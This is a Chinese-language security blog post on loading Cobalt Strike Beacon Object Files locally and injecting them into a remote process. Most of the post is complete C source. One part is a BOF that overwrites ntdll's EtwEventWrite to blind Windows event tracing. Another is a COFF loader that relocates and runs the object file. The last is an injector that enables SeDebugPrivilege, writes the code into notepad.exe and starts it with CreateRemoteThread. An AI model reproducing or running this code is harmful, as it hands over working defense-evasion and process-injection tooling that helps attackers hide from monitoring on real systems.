0x01 背景
Beacon Object File(BOF) 从Cobalt Strike4.1开始所添加的新功能,可以加载运行obj File,也就是编译后但未链接的目标文件。obj链接过后就会变成PE文件或其他格式的本机程序。这个BOF和shellcode执行类似,只是需要自己修复下文件格式,看网上和cs上都是本地加载BOF,本文处理下远程加载BOF
0x02 本地加载BOF
cl.exe /c /GS- ETW.c /Fo etw.obj 编译为etw.obj文件
#include <windows.h> #include <stdio.h> //#include "beacon.h" DECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR); DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(); DECLSPEC_IMPORT FARPROC WINAPI KERNEL32$LoadLibraryA(LPCSTR); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*); DECLSPEC_IMPORT void *__cdecl MSVCRT$memcpy(void * __restrict _Dst,const void * __restrict _Src,size_t _MaxCount); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(PVOID, DWORD, DWORD, PDWORD); DWORD WINAPI go(PVOID param) { //datap parser; char * action; char * moduleName = "ntdll.dll"; char * functionName = "EtwEventWrite"; unsigned char buf[8]; SIZE_T bRead = 0; BOOL result = FALSE; FARPROC module = NULL; FARPROC funcAddress = NULL; //BeaconDataParse(&parser, args, len); //action = BeaconDataExtract(&parser, NULL); module = KERNEL32$LoadLibraryA((LPCSTR)moduleName); if (module != NULL) { funcAddress = KERNEL32$GetProcAddress((HMODULE)module, (LPCSTR)functionName); if (funcAddress != NULL) { char * startbytes; char * stopbytes; char * patchbytes; int numByteToPatch; #ifndef _X86_ numByteToPatch = 1; startbytes = "\x4c"; stopbytes = "\xc3"; //BeaconPrintf(CALLBACK_OUTPUT, "Action: %s\nWorking with 64-bit.", action); #else numByteToPatch = 4; startbytes = "\x8b\xff\x55\x00"; stopbytes = "\xc2\x14\x00\x00"; //BeaconPrintf(CALLBACK_OUTPUT, "Action: %s\nWorking with 32-bit.", action); #endif //if(MSVCRT$strcmp(action, "start") == 0){ // patchbytes = startbytes; //}else if(MSVCRT$strcmp(action, "stop") == 0){ patchbytes = stopbytes; //} DWORD oldProt; KERNEL32$VirtualProtect(funcAddress, 4, PAGE_EXECUTE_READWRITE, &oldProt); MSVCRT$memcpy(funcAddress, patchbytes, numByteToPatch); DWORD oldOldProt; KERNEL32$VirtualProtect(funcAddress, 4, oldProt, &oldOldProt); result = KERNEL32$ReadProcessMemory(KERNEL32$GetCurrentProcess(), funcAddress, buf, sizeof(buf), &bRead); if (result) { int i = 0; for (i = 0; i < numByteToPatch; i++) { //BeaconPrintf(CALLBACK_OUTPUT, "%x", buf[i]); } } else { //BeaconPrintf(CALLBACK_ERROR, "ReadProcessMemory failed\n"); } } else { //BeaconPrintf(CALLBACK_ERROR, "Failed to find function address\n"); } } else { //BeaconPrintf(CALLBACK_ERROR, "Could not load library\n"); } return 0; }
解析、修复etw.obj文件,执行go()
//仅支持cl编译的x64 obj #include "stdafx.h" #include<Windows.h> void vPrintf(char * fmt) { printf(fmt); } int main() { HANDLE hFile = CreateFile(L"Demon.obj", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("CreateFile error.\n"); return 0; } int file_size = 0; file_size = GetFileSize(hFile, NULL); char *buff; buff = (char*)malloc(file_size); DWORD dwRead; if (!ReadFile(hFile, buff, file_size, &dwRead, NULL)) { printf("ReadFile error.\n"); return 0; } //COFF文件头 PIMAGE_FILE_HEADER PECOFF_FileHeader = (PIMAGE_FILE_HEADER)buff; printf("Machine: %x \n", PECOFF_FileHeader->Machine); printf("NumberOfSections %d \n", PECOFF_FileHeader->NumberOfSections); printf("TimeDateStamp %d \n", PECOFF_FileHeader->TimeDateStamp); printf("PointerToSymbolTable %d \n", PECOFF_FileHeader->PointerToSymbolTable); printf("NumberOfSymbols %d \n", PECOFF_FileHeader->NumberOfSymbols); printf("SizeOfOptionalHeader %d \n", PECOFF_FileHeader->SizeOfOptionalHeader); printf("Characteristics %x \n", PECOFF_FileHeader->Characteristics); //SizeOfOptionalHeader no //COFF节表处理 PIMAGE_SECTION_HEADER* PECOFF_SectionHeader_arr = (PIMAGE_SECTION_HEADER*)malloc(PECOFF_FileHeader->NumberOfSections * sizeof(PIMAGE_SECTION_HEADER)); memset(PECOFF_SectionHeader_arr, 0, PECOFF_FileHeader->NumberOfSections * sizeof(PIMAGE_SECTION_HEADER)); PIMAGE_SECTION_HEADER PECOFF_SectionHeader = (PIMAGE_SECTION_HEADER)(buff + sizeof(IMAGE_FILE_HEADER)); for (size_t i = 0; i <= PECOFF_FileHeader->NumberOfSections-1; i++) { PECOFF_SectionHeader_arr[i] = PECOFF_SectionHeader; printf("段名称 %s \n", PECOFF_SectionHeader->Name); printf("段大小 %d \n", PECOFF_SectionHeader->SizeOfRawData); PECOFF_SectionHeader++; } //重定位表 int Relocation_len=0; for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections-1; i++) { Relocation_len+=PECOFF_SectionHeader_arr[i]->NumberOfRelocations; } int x = 0; PIMAGE_RELOCATION* PECOFF_Relocation_arr = (PIMAGE_RELOCATION*)malloc(Relocation_len * sizeof(PIMAGE_RELOCATION)); memset(PECOFF_Relocation_arr, 0, Relocation_len * sizeof(PIMAGE_RELOCATION)); for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections-1; i++) { if (PECOFF_SectionHeader_arr[i]->NumberOfRelocations) { PIMAGE_RELOCATION PECOFF_Relocation = (PIMAGE_RELOCATION)(buff + PECOFF_SectionHeader_arr[i]->PointerToRelocations); for (int y = 0; y < PECOFF_SectionHeader_arr[i]->NumberOfRelocations; y++) { PECOFF_Relocation_arr[x] = PECOFF_Relocation; PECOFF_Relocation++; x++; } } } //打印输出 //符号表 PIMAGE_SYMBOL PECOFF_SYMBOL = (PIMAGE_SYMBOL)(buff + PECOFF_FileHeader->PointerToSymbolTable); PIMAGE_SYMBOL* PECOFF_SYMBOL_arr = (PIMAGE_SYMBOL*)malloc(PECOFF_FileHeader->NumberOfSymbols * sizeof(PIMAGE_SYMBOL)); memset(PECOFF_SYMBOL_arr, 0, PECOFF_FileHeader->NumberOfSymbols * sizeof(PIMAGE_SYMBOL)); for (int i = 0; i <= PECOFF_FileHeader->NumberOfSymbols-1; i++) { PECOFF_SYMBOL_arr[i] = PECOFF_SYMBOL; PECOFF_SYMBOL++; } //无需处理NumberOfAuxSymbols //处理重定位和函数指针 char* Fun_ptr = buff + PECOFF_SectionHeader_arr[0]->PointerToRawData; for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { if (PECOFF_SectionHeader_arr[i]->NumberOfRelocations) { PIMAGE_RELOCATION PECOFF_Relocation = (PIMAGE_RELOCATION)(buff + PECOFF_SectionHeader_arr[i]->PointerToRelocations); for (int y = 0; y < PECOFF_SectionHeader_arr[i]->NumberOfRelocations; y++) { int sys_index = PECOFF_Relocation->SymbolTableIndex; if (PECOFF_SYMBOL_arr[sys_index]->StorageClass == 3) { char* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData); *(DWORD*)patch_data = ((DWORD64)(buff + ((PECOFF_SYMBOL_arr[sys_index]->Value) + (PECOFF_SectionHeader_arr[PECOFF_SYMBOL_arr[sys_index]->SectionNumber-1]->PointerToRawData))) - (DWORD64)(patch_data + 4)); } else { if (!(PECOFF_SYMBOL_arr[sys_index]->N.Name.Short)) { char* pstr = (buff + PECOFF_FileHeader->PointerToSymbolTable) + (PECOFF_FileHeader->NumberOfSymbols * sizeof(IMAGE_SYMBOL)); pstr += (DWORD)(PECOFF_SYMBOL_arr[sys_index]->N.Name.Long); if (!strcmp(pstr, "__imp_vPrintf")) { char* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData); *(DWORD64*)Fun_ptr = (DWORD64)vPrintf; *(DWORD*)patch_data = ((DWORD64)Fun_ptr - (DWORD64)(patch_data + 4)); DWORD64* ptr = (DWORD64*)Fun_ptr; ptr++; Fun_ptr = (char*)ptr; } else { pstr += 6; char *dllname; char *funname; dllname = strtok(pstr, "$"); funname = strtok(NULL, "$"); DWORD64 fun_add=(DWORD64)GetProcAddress(LoadLibraryA(dllname), funname); char* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData); *(DWORD64*)Fun_ptr = (DWORD64)fun_add; *(DWORD*)patch_data = ((DWORD64)Fun_ptr - (DWORD64)(patch_data + 4)); DWORD64* ptr = (DWORD64*)Fun_ptr; ptr++; Fun_ptr = (char*)ptr; } } } PECOFF_Relocation++; } } } //寻找go函数作为入口点 DWORD oep; for (int i = 0; i < PECOFF_FileHeader->NumberOfSymbols - 1; i++) { if (!strncmp((char*)(PECOFF_SYMBOL_arr[i]->N.ShortName),"go",2)) { oep = PECOFF_SYMBOL_arr[i]->Value; } } char * jmp; for (int i = 0; i < PECOFF_FileHeader->NumberOfSections - 1; i++) { if (!strncmp((char*)PECOFF_SectionHeader_arr[i]->Name, ".text", 5)) { jmp = (buff + PECOFF_SectionHeader_arr[i]->PointerToRawData + oep); } } printf("0x%016I64x \n", jmp); DWORD Protect; if (VirtualProtect(buff, file_size, PAGE_EXECUTE_READWRITE, &Protect)!=0) { ((void(*)(void))jmp)(); }; //printf("%x",GetLastError()); return 0; }
0x03 cs 执行etw
0x04 远程注入BOF
// ReflectiveDLLInjection.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <Windows.h> #include <TlHelp32.h> #include <iostream> #include <string.h> using namespace std; #define BreakForError(reason){cout << reason << endl; break;} DWORD GetProcessIdByName(LPCTSTR processName) { DWORD dwPID; HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapShot == INVALID_HANDLE_VALUE) { cout << "Take SnapShot Failed!" << endl; return 0; } else { cout << "Take SnapShot Success!" << endl; } PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hSnapShot, &pe)) { cout << "Failed To Get The Information of System!" << endl; return 0; } else { cout << "Get the Information of System Success!" << endl; } while (Process32Next(hSnapShot, &pe)) { if (!wcsicmp(processName, pe.szExeFile)) return pe.th32ProcessID; } return 0; } BOOL PrivilegeEscalation() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE; tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = luid; if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE; CloseHandle(hToken); return TRUE; } HANDLE WINAPI LoadRemoteBOF(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter) { DWORD dwThreadId; HANDLE hThread = NULL; __try { do { if (!hProcess || !lpBuffer || !dwLength) break; LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpRemoteLibraryBuffer) break; if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)) break; PIMAGE_FILE_HEADER PECOFF_FileHeader = (PIMAGE_FILE_HEADER)lpBuffer; PIMAGE_SECTION_HEADER* PECOFF_SectionHeader_arr = (PIMAGE_SECTION_HEADER*)malloc(PECOFF_FileHeader->NumberOfSections * sizeof(PIMAGE_SECTION_HEADER)); memset(PECOFF_SectionHeader_arr, 0, PECOFF_FileHeader->NumberOfSections * sizeof(PIMAGE_SECTION_HEADER)); PIMAGE_SECTION_HEADER PECOFF_SectionHeader = (PIMAGE_SECTION_HEADER)((PCHAR)lpBuffer + sizeof(IMAGE_FILE_HEADER)); for (size_t i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { PECOFF_SectionHeader_arr[i] = PECOFF_SectionHeader; printf("段名称 %s \n", PECOFF_SectionHeader->Name); printf("段大小 %d \n", PECOFF_SectionHeader->SizeOfRawData); PECOFF_SectionHeader++; } //重定位表 int Relocation_len = 0; for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { Relocation_len += PECOFF_SectionHeader_arr[i]->NumberOfRelocations; } int x = 0; PIMAGE_RELOCATION* PECOFF_Relocation_arr = (PIMAGE_RELOCATION*)malloc(Relocation_len * sizeof(PIMAGE_RELOCATION)); memset(PECOFF_Relocation_arr, 0, Relocation_len * sizeof(PIMAGE_RELOCATION)); for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { if (PECOFF_SectionHeader_arr[i]->NumberOfRelocations) { PIMAGE_RELOCATION PECOFF_Relocation = (PIMAGE_RELOCATION)((PCHAR)lpBuffer + PECOFF_SectionHeader_arr[i]->PointerToRelocations); for (int y = 0; y < PECOFF_SectionHeader_arr[i]->NumberOfRelocations; y++) { PECOFF_Relocation_arr[x] = PECOFF_Relocation; PECOFF_Relocation++; x++; } } } //打印输出 //符号表 PIMAGE_SYMBOL PECOFF_SYMBOL = (PIMAGE_SYMBOL)((PCHAR)lpBuffer + PECOFF_FileHeader->PointerToSymbolTable); PIMAGE_SYMBOL* PECOFF_SYMBOL_arr = (PIMAGE_SYMBOL*)malloc(PECOFF_FileHeader->NumberOfSymbols * sizeof(PIMAGE_SYMBOL)); memset(PECOFF_SYMBOL_arr, 0, PECOFF_FileHeader->NumberOfSymbols * sizeof(PIMAGE_SYMBOL)); for (int i = 0; i <= PECOFF_FileHeader->NumberOfSymbols - 1; i++) { PECOFF_SYMBOL_arr[i] = PECOFF_SYMBOL; PECOFF_SYMBOL++; } //无需处理NumberOfAuxSymbols //处理重定位和函数指针 char* Fun_ptr = (CHAR*)lpRemoteLibraryBuffer + PECOFF_SectionHeader_arr[0]->PointerToRawData; for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { if (PECOFF_SectionHeader_arr[i]->NumberOfRelocations) { PIMAGE_RELOCATION PECOFF_Relocation = (PIMAGE_RELOCATION)((PCHAR)lpBuffer + PECOFF_SectionHeader_arr[i]->PointerToRelocations); for (int y = 0; y < PECOFF_SectionHeader_arr[i]->NumberOfRelocations; y++) { int sys_index = PECOFF_Relocation->SymbolTableIndex; if (PECOFF_SYMBOL_arr[sys_index]->StorageClass == 3) { char* patch_data = (PCHAR)lpRemoteLibraryBuffer + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData); SIZE_T dwWriteBytes = 0; DWORD dwPatch_data = ((DWORD64)((PCHAR)lpRemoteLibraryBuffer + ((PECOFF_SYMBOL_arr[sys_index]->Value) + (PECOFF_SectionHeader_arr[PECOFF_SYMBOL_arr[sys_index]->SectionNumber - 1]->PointerToRawData))) - (DWORD64)(patch_data + 4)); WriteProcessMemory(hProcess, patch_data, &dwPatch_data, sizeof(DWORD), &dwWriteBytes); } else { if (!(PECOFF_SYMBOL_arr[sys_index]->N.Name.Short)) { char* pstr = ((PCHAR)lpBuffer + PECOFF_FileHeader->PointerToSymbolTable) + (PECOFF_FileHeader->NumberOfSymbols * sizeof(IMAGE_SYMBOL)); pstr += (DWORD)(PECOFF_SYMBOL_arr[sys_index]->N.Name.Long); { pstr += 6; char *dllname; char *funname; dllname = strtok(pstr, "$"); funname = strtok(NULL, "$"); if (funname == NULL) { pstr += strlen(dllname) + 1; funname = strtok(pstr, "$"); } DWORD64 fun_add = (DWORD64)GetProcAddress(LoadLibraryA(dllname), funname); char* patch_data = (PCHAR)lpRemoteLibraryBuffer + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData); SIZE_T dwWriteBytes = 0; WriteProcessMemory(hProcess, Fun_ptr, &fun_add, sizeof(DWORD64), &dwWriteBytes); DWORD dwPatch_data = ((DWORD64)Fun_ptr - (DWORD64)(patch_data + 4)); WriteProcessMemory(hProcess, patch_data, &dwPatch_data, sizeof(DWORD), &dwWriteBytes); DWORD64* ptr = (DWORD64*)Fun_ptr; ptr++; Fun_ptr = (char*)ptr; } } } PECOFF_Relocation++; } } } //寻找go函数作为入口点 DWORD oep; for (int i = 0; i < PECOFF_FileHeader->NumberOfSymbols - 1; i++) { if (!strncmp((char*)(PECOFF_SYMBOL_arr[i]->N.ShortName), "go", 2)) { oep = PECOFF_SYMBOL_arr[i]->Value; break; } } char * jmp; for (int i = 0; i < PECOFF_FileHeader->NumberOfSections - 1; i++) { if (!strncmp((char*)PECOFF_SectionHeader_arr[i]->Name, ".text", 5)) { jmp = ((PCHAR)lpRemoteLibraryBuffer + PECOFF_SectionHeader_arr[i]->PointerToRawData + oep); break; } } LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)jmp; hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId); } while (0); } __except (EXCEPTION_EXECUTE_HANDLER) { hThread = NULL; } return hThread; } int main() { do { LPCTSTR processName = L"notepad.exe"; DWORD dwPid = GetProcessIdByName(processName); if (dwPid == 0) BreakForError("Failed to Get the notepad's PID."); cout << "The PID of Notepad.exe is :" << dwPid << endl; LPCSTR injectionDll = "Etw.obj"; HANDLE hFile = CreateFileA(injectionDll, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) BreakForError("Failed to open the DLL file."); DWORD dwLength = GetFileSize(hFile, NULL); if (dwLength == INVALID_FILE_SIZE || dwLength == 0) BreakForError("Failed to get the DLL file size."); LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); if (!lpBuffer) BreakForError("Failed to alloc a buffer."); DWORD dwBytesRead = 0; if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == false) BreakForError("Failed to read the DLL file"); if (!PrivilegeEscalation()) BreakForError("Failed to Escalate Privilege."); //COFF文件头 PIMAGE_FILE_HEADER PECOFF_FileHeader = (PIMAGE_FILE_HEADER)lpBuffer; printf("Machine: %x \n", PECOFF_FileHeader->Machine); printf("NumberOfSections %d \n", PECOFF_FileHeader->NumberOfSections); printf("TimeDateStamp %d \n", PECOFF_FileHeader->TimeDateStamp); printf("PointerToSymbolTable %d \n", PECOFF_FileHeader->PointerToSymbolTable); printf("NumberOfSymbols %d \n", PECOFF_FileHeader->NumberOfSymbols); printf("SizeOfOptionalHeader %d \n", PECOFF_FileHeader->SizeOfOptionalHeader); printf("Characteristics %x \n", PECOFF_FileHeader->Characteristics); HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); cout << GetLastError() << endl; if (!hTargetProcess) BreakForError("Failed to Open the Target Process."); HANDLE hMoudle = LoadRemoteBOF(hTargetProcess, lpBuffer, dwLength, NULL); CloseHandle(hTargetProcess); hTargetProcess = NULL; } while (0); system("pause"); return 0; }
执行后,notepad中执行了Hook EtwEventWrite
0x05 参考
https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-3